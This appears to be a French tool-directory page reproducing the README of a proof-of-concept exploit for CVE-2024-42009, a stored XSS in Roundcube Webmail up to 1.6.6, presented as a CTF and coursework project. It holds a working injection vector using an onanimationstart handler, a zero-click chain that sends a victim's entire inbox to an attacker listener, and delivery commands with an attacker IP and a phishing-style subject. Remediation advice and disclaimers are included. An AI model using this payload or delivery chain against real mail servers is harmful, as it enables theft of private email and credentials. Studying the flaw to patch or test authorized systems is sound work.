Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-42009-roundcube-xss — Exploit XSS stocké pour Roundcube Webmail ≤1.6.6 (CVE-2024-42009) avec exfiltration d'email zero-click via des gestionnaires d'événements d'animation CSS. Inclut un script de livraison SMTP et un écouteur compatible CORS pour CTF et tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
Outils de PhishingExploitationExploitation d'Applications WebExfiltration de DonnéesCTFTests d'IntrusionApprentissage et Éducation
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit XSS stocké pour Roundcube Webmail ≤1.6.6 (CVE-2024-42009) avec exfiltration d'email zero-click via des gestionnaires d'événements d'animation CSS. Inclut un script de livraison SMTP et un écouteur compatible CORS pour CTF et tests de sécurité autorisés.

Voir le dépôt
2il y a 2 moisPas encore vérifié

CVE-2024-42009 — Roundcube Webmail 1.6.6 Stored XSS PoC

Pour les tests de sécurité autorisés, les environnements CTF et la recherche éducative uniquement.
L'utilisation de cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale en vertu du Computer Misuse Act 1990 (Royaume-Uni), du CFAA (États-Unis) et des lois équivalentes dans le monde entier.


Résumé de la vulnérabilité

ChampDétail
CVECVE-2024-42009
Logiciel affectéRoundcube Webmail ≤ 1.6.6
Version corrigée1.6.7 / 1.6.8
Score CVSS v3.18.8 (Élevé)
Vecteur CVSSAV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages Web (XSS)
Type d'attaqueXSS stocké → Exfiltration d'emails sans clic
Authentification requiseAucune (envoi SMTP) ; Faible (la victime doit ouvrir l'email)

Fonctionnement

Le sanitiseur HTML de Roundcube 1.6.6 ne parvient pas à supprimer les gestionnaires d'événements JavaScript attachés aux keyframes d'animation CSS dans un attribut malformé de la balise <body>.

Vecteur d'injection :

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* JS arbitraire */">

Lorsque la victime ouvre l'email dans sa session Roundcube authentifiée, l'animation CSS se déclenche immédiatement. Le gestionnaire onanimationstart s'exécute avec un accès complet à l'objet JavaScript rcmail, y compris le request_token de la session.

Chaîne d'exploitation :

root@kitploit:~
1. L'attaquant envoie un email HTML malveillant à la victime via un relais SMTP non authentifié (port 25)
2. La victime ouvre l'email dans Roundcube — l'animation se déclenche, le JS s'exécute (zéro clic requis)
3. Le JS lit rcmail.env.request_token (jeton CSRF valide pour la session)
4. Le JS parcourt tous les UID de la boîte de réception via l'API mail interne de Roundcube
5. Chaque message est récupéré et son contenu collecté
6. Toutes les données de la boîte de réception sont POSTées au format JSON vers l'écouteur HTTP de l'attaquant
7. L'attaquant lit les emails récupérés — peut contenir des identifiants, des données de session ou des communications sensibles

Structure du dépôt

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Envoie la charge utile XSS via SMTP non authentifié
├── listener.py      # Serveur HTTP compatible CORS ; reçoit et affiche les données exfiltrées
├── payload.html     # Charge utile XSS autonome pour inspection manuelle ou livraison via Burp
└── README.md

Prérequis

  • Python 3.7+
  • Aucune dépendance externe (stdlib uniquement : smtplib, http.server, json, argparse)
  • La cible doit exécuter Roundcube ≤ 1.6.6
  • Le serveur SMTP cible doit autoriser le relais non authentifié sur le port 25 (courant dans les environnements de laboratoire)

Utilisation

Étape 1 — Démarrer l'écouteur (sur votre machine d'attaque)

root@kitploit:~
python3 listener.py --port 8080

Sortie lorsque des données arrivent :

root@kitploit:~
[+] Exfiltration reçue de 192.168.62.128
[*] Jeton de session : abc123...
[*] Emails capturés : 19

  --- Email 1 ---
  UID     : 1
  De      : [email protected]
  Sujet   : Identifiants SSH
  Corps   : Vos identifiants sont : ...

Le dump JSON complet est automatiquement sauvegardé dans exfil_dump.json.

Étape 2 — Livrer la charge utile

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Avis de sécurité - Action requise"

Étape 3 — Attendre que la victime ouvre l'email

Une fois l'email ouvert dans Roundcube ≤ 1.6.6, l'écouteur affichera le contenu exfiltré de la boîte de réception.


Pourquoi cela fonctionne (détail technique)

Le purificateur HTML de Roundcube est responsable du retrait des attributs dangereux avant d'afficher le HTML des emails entrants. Dans les versions ≤ 1.6.6, le purificateur retire correctement les gestionnaires onclick, onerror et similaires — mais il ne retire pas les gestionnaires d'événements sur les animations CSS (onanimationstart, onanimationend, onanimationiteration).

Comme les animations CSS se déclenchent lors du rendu (et non d'une interaction utilisateur), le gestionnaire s'exécute dès que l'email est ouvert — aucun clic sur un lien, aucune action de l'utilisateur au-delà de l'ouverture du message.

L'objet JavaScript rcmail est accessible globalement dans chaque session Roundcube authentifiée. Il expose rcmail.env.request_token, qui est le jeton CSRF de la session. Combiné avec les propres points de terminaison de l'API mail de Roundcube (?_task=mail&_action=list, ?_action=show), la charge utile peut lire l'intégralité de la boîte de réception sans déclencher d'authentification supplémentaire.


Versions concernées

VersionStatut
≤ 1.6.6Vulnérable
1.6.7Corrigée
1.6.8Corrigée (recommandée)
1.5.x LTSConsulter l'avis du fournisseur

Remédiation

ActionDétail
Mise à niveauRoundcube 1.6.8 ou ultérieur corrige cette classe de XSS
En-tête CSPDéployer Content-Security-Policy: default-src 'self'; script-src 'self' sur le vhost de webmail pour bloquer l'exécution de JS en ligne

Références

  • Avis de sécurité Roundcube
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — Injection

Découvert / Démontré par

Ce PoC a été développé et testé dans le cadre d'une évaluation de test d'intrusion Boot-to-Root CTF dans le module Ethical Hacking and Penetration Testing, MSc Cybersecurity, Coventry University (2025–2026). Tous les tests ont été menés dans un environnement de laboratoire VMware isolé avec une autorisation écrite explicite.

Auteur : Segun Akinsoyinu
Portfolio : segunakinsoyinu.github.io/MyPortfolio


Avis légal

Ce code est publié uniquement à des fins éducatives et de recherche de sécurité autorisée. L'auteur décline toute responsabilité en cas d'utilisation abusive. Avant d'utiliser cet outil, confirmez que vous disposez d'une autorisation écrite explicite pour tester le système cible.

Télécharger l’outil
ArgumentDescription
--smtpIP ou nom d'hôte du serveur SMTP cible
--portPort SMTP (défaut : 25)
--fromAdresse de l'expéditeur (toute valeur acceptée par le relais)
--toAdresse email de la victime
--attackerVotre IP — intégrée dans la charge utile comme collecteur d'exfiltration
--lportPort de votre écouteur (défaut : 8080)
--subjectLigne d'objet de l'email
Relais SMTPDésactiver le relais non authentifié sur le port 25 — exiger AUTH pour toute livraison interne